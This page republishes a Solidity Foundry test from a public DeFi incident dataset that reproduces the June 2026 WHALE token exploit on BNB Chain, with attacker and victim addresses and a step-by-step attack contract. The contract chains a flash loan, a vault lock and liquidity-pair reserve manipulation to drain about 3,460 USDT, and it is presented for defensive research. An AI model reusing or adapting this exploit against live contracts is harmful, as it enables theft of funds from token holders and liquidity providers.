Skip to content
THREATWIRE

Public reproduction file

src/test/2026-06/WHALE_exp.sol

Public reproduction file for dataset entry WHALE.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-06/WHALE_exp.sol231 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 3,460.41 USDT
8// Attacker : 0xa27eae743cd8c03e9b7c25ebf43dadbbc6df9bfa
9// Attack Contract : 0x4ce3e5dea552d1440a8cd766a13a6384ea4d1386
10// Attack Deployer : 0x6d4dce5c6972127f4ff40354f5efc31bf7e30719
11// Attack Logic : 0x8420c6657bf7c37c7014e158404b6416fd82f714
12// Vulnerable Contract : 0xabc79b7c5a0f1fe0ac55fcb7e659d5817e530123
13// Victim : 0xabc79b7c5a0f1fe0ac55fcb7e659d5817e530123
14// Attack Tx : https://bscscan.com/tx/0xf8f431b392a50eb997ecae2e35668d6dd4dc8568d002057600d2532e18f36d86
16// @Info
17// Vulnerable Contract Code : https://bscscan.com/address/0xabc79b7c5a0f1fe0ac55fcb7e659d5817e530123#code
19// @Analysis
20// Twitter Guy : https://x.com/audit_911/status/2067451654694412720
21//
22// The attacker used a Moolah USDT flash loan plus a Pancake Infinity Vault lock to manipulate the WHALE/USDT
23// Pancake pair while WHALE's transfer pipeline staged LP credit, flushed POL liquidity, and settled hashrate rewards.
24// The final reserve imbalance let the attacker swap a large WHALE balance out of the pair for USDT, repay both
25// temporary funding sources, and forward the remaining USDT to the attacker EOA.
27address constant ATTACKER = 0xA27eAE743Cd8C03E9b7c25ebF43DADbBC6Df9bFA;
28address constant WHALE_TOKEN = 0xABC79B7C5a0f1fE0aC55fcB7E659D5817E530123;
29address constant USDT_TOKEN = 0x55d398326f99059fF775485246999027B3197955;
30address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
31address constant WHALE_USDT_PAIR = 0xdD3190246D90E20EbE93378B004836dcb4Bd4D59;
32address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
33address constant WHALE_HASHRATE = 0x436C1758e9A9458b54187A2774e0Ac32De223691;
34address constant POL_VAULT = 0x1D95B64A37a1434f10821DB82304f265728D96a5;
35address constant PANCAKE_INFINITY_VAULT = 0x238a358808379702088667322f80aC48bAd5e6c4;
36address constant MOOLAH_PROXY = 0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C;
37address constant REFERRER = 0xc83759EA31AED19e1964fdece783985201dc9Cf4;
38address constant DEAD = 0x000000000000000000000000000000000000dEaD;
40interface IMoolah {
41 function flashLoan(
42 address token,
43 uint256 assets,
44 bytes calldata data
45 ) external;
48interface IPancakeInfinityVault {
49 function lock(
50 bytes calldata data
51 ) external returns (bytes memory result);
52 function take(
53 address currency,
54 address to,
55 uint256 amount
56 ) external;
57 function sync(
58 address currency
59 ) external;
60 function settle() external payable returns (uint256 paid);
63interface IPolVault {
64 function flushPol() external returns (uint256 liquidityAdded);
67interface IWHALEHashrate {
68 function bindReferral(
69 address upline
70 ) external;
71 function transferFrom(
72 address from,
73 address to,
74 uint256 amount
75 ) external returns (bool);
78contract ContractTest is BaseTestWithBalanceLog {
79 function setUp() public {
80 vm.createSelectFork("bsc", 104_744_230);
81 fundingToken = USDT_TOKEN;
83 vm.label(ATTACKER, "Attacker EOA");
84 vm.label(WHALE_TOKEN, "WHALE");
85 vm.label(USDT_TOKEN, "USDT");
86 vm.label(WHALE_USDT_PAIR, "WHALE/USDT Pancake pair");
87 vm.label(WHALE_HASHRATE, "WHALEHashrate");
88 vm.label(POL_VAULT, "PolVault");
89 vm.label(PANCAKE_INFINITY_VAULT, "Pancake Infinity Vault");
90 vm.label(MOOLAH_PROXY, "Moolah proxy");
91 }
93 function testExploit() public balanceLog2(ATTACKER) {
94 uint256 attackerBefore = IERC20(USDT_TOKEN).balanceOf(ATTACKER);
95 uint256 flashAmount = 7_772_960_679_833_989_887_601_242;
97 vm.startPrank(ATTACKER, ATTACKER);
98 WHALEExploit exploit = new WHALEExploit(ATTACKER);
99 exploit.attack(flashAmount);
100 vm.stopPrank();
102 uint256 profit = IERC20(USDT_TOKEN).balanceOf(ATTACKER) - attackerBefore;
103 logTokenBalance(USDT_TOKEN, ATTACKER, "Attacker Final");
104 assertGt(profit, 3400 ether, "USDT profit after both repayments");
105 }
108contract WHALEExploit {
109 IERC20 private constant usdt = IERC20(USDT_TOKEN);
110 IERC20 private constant wbnb = IERC20(WBNB_TOKEN);
111 IERC20 private constant whale = IERC20(WHALE_TOKEN);
112 IPancakePair private constant pair = IPancakePair(WHALE_USDT_PAIR);
113 IPancakeRouter private constant router = IPancakeRouter(payable(PANCAKE_ROUTER));
114 IWHALEHashrate private constant hashrate = IWHALEHashrate(WHALE_HASHRATE);
115 IPolVault private constant polVault = IPolVault(POL_VAULT);
116 IPancakeInfinityVault private constant infinityVault = IPancakeInfinityVault(PANCAKE_INFINITY_VAULT);
117 IMoolah private constant moolah = IMoolah(MOOLAH_PROXY);
119 address private immutable profitReceiver;
120 uint256 private infinityVaultDebt;
122 constructor(
123 address profitReceiver_
124 ) {
125 profitReceiver = profitReceiver_;
126 }
128 function attack(
129 uint256 flashAmount
130 ) external {
131 require(msg.sender == profitReceiver, "only receiver");
133 // step 1: match the trace approvals, then borrow USDT from Moolah.
134 wbnb.approve(MOOLAH_PROXY, type(uint256).max);
135 usdt.approve(MOOLAH_PROXY, type(uint256).max);
136 moolah.flashLoan(USDT_TOKEN, flashAmount, "");
138 // step 12: after the Moolah pull, forward the remaining USDT to the EOA.
139 usdt.transfer(profitReceiver, usdt.balanceOf(address(this)));
140 }
142 function onMoolahFlashLoan(
143 uint256,
144 bytes calldata
145 ) external {
146 require(msg.sender == MOOLAH_PROXY, "not Moolah");
148 // step 2: enter Pancake Infinity Vault's lock; it calls lockAcquired(bytes).
149 infinityVault.lock("");
150 }
152 function lockAcquired(
153 bytes calldata
154 ) external returns (bytes memory) {
155 require(msg.sender == PANCAKE_INFINITY_VAULT, "not Infinity Vault");
157 // step 3: temporarily take all available USDT from the Vault.
158 infinityVaultDebt = usdt.balanceOf(PANCAKE_INFINITY_VAULT);
159 infinityVault.take(USDT_TOKEN, address(this), infinityVaultDebt);
161 _manipulateWhalePair();
163 // step 10: repay the Pancake Infinity Vault accounting lock.
164 infinityVault.sync(USDT_TOKEN);
165 usdt.transfer(PANCAKE_INFINITY_VAULT, infinityVaultDebt);
166 infinityVault.settle();
168 return "";
169 }
171 function _manipulateWhalePair() private {
172 // step 4: first USDT->WHALE buy, using the same pair output computation as the trace's router read.
173 uint256 firstBuyUsdt = 1000 ether;
174 uint256 firstWhaleOut = _getAmountOut(firstBuyUsdt, USDT_TOKEN, WHALE_TOKEN);
175 usdt.transfer(WHALE_USDT_PAIR, firstBuyUsdt);
176 pair.swap(0, firstWhaleOut, address(this), "");
178 // step 5: transfer the received WHALE and a USDT side leg into the pair, then mint LP.
179 uint256 whaleForFirstLp = whale.balanceOf(address(this));
180 whale.transfer(WHALE_USDT_PAIR, whaleForFirstLp);
181 uint256 firstLpUsdt = 1_282_802_761_974_940_717_135;
182 usdt.transfer(WHALE_USDT_PAIR, firstLpUsdt);
183 pair.mint(address(this));
185 // step 6: flush POL; this re-enters WHALE's pair accounting through onPolStart/onPolEnd.
186 polVault.flushPol();
188 // step 7: bind the referral and do the trace's small USDT->WHALE reserve nudge.
189 hashrate.bindReferral(REFERRER);
190 uint256 smallBuyUsdt = 1 ether;
191 uint256 smallWhaleOut = _getAmountOut(smallBuyUsdt, USDT_TOKEN, WHALE_TOKEN);
192 usdt.transfer(WHALE_USDT_PAIR, smallBuyUsdt);
193 pair.swap(0, smallWhaleOut, address(this), "");
195 // step 8: pump the USDT reserve with a large buy, then send 3/8 of the pair WHALE balance back in.
196 uint256 largeBuyUsdt = 15_000_000 ether;
197 uint256 largeWhaleOut = _getAmountOut(largeBuyUsdt, USDT_TOKEN, WHALE_TOKEN);
198 usdt.transfer(WHALE_USDT_PAIR, largeBuyUsdt);
199 pair.swap(0, largeWhaleOut, address(this), "");
201 uint256 whaleRecycle = whale.balanceOf(WHALE_USDT_PAIR) * 3 / 8;
202 whale.transfer(WHALE_USDT_PAIR, whaleRecycle);
204 // step 9: add the second USDT leg, self-skim, mint LP, then trigger zero-value accounting paths.
205 uint256 secondLpUsdt = 5_627_166_965_683_900_781_893_915;
206 usdt.transfer(WHALE_USDT_PAIR, secondLpUsdt);
207 pair.skim(WHALE_USDT_PAIR);
208 pair.mint(address(this));
209 whale.transfer(address(this), 0);
210 hashrate.transferFrom(WHALE_USDT_PAIR, DEAD, 0);
212 // step 10: transfer the harvested WHALE imbalance into the pair and swap it to USDT.
213 uint256 whaleProfitLeg = whale.balanceOf(address(this));
214 whale.transfer(WHALE_USDT_PAIR, whaleProfitLeg);
215 (, uint112 whaleReserve,) = pair.getReserves();
216 uint256 finalWhaleIn = whale.balanceOf(WHALE_USDT_PAIR) - uint256(whaleReserve);
217 uint256 finalUsdtOut = _getAmountOut(finalWhaleIn, WHALE_TOKEN, USDT_TOKEN);
218 pair.swap(finalUsdtOut, 0, address(this), "");
219 }
221 function _getAmountOut(
222 uint256 amountIn,
223 address tokenIn,
224 address tokenOut
225 ) private view returns (uint256 amountOut) {
226 address[] memory path = new address[](2);
227 path[0] = tokenIn;
228 path[1] = tokenOut;
229 amountOut = router.getAmountsOut(amountIn, path)[1];
230 }

Analysis

Dataset entry

Public Foundry test for “WHALE” (2026-06-17). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xa27eae743cd8c03e9b7c25ebf43dadbbc6df9bfa

  • Attack Contract

    0x4ce3e5dea552d1440a8cd766a13a6384ea4d1386

  • Vulnerable Contract

    0xabc79b7c5a0f1fe0ac55fcb7e659d5817e530123

  • Victim

    0xabc79b7c5a0f1fe0ac55fcb7e659d5817e530123

  • Attack Tx

    0xf8f431b392a50eb997ecae2e35668d6dd4dc8568d002057600d2532e18f36d86

File record

Name
WHALE
Path
src/test/2026-06/WHALE_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
28d0dfd42a31ba302a44ecbc71b5089b0f69be62
Language
Solidity
Size
232 lines
Date
2026-06-17
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-06/WHALE_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 28d0dfd42a31ba302a44ecbc71b5089b0f69be62, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.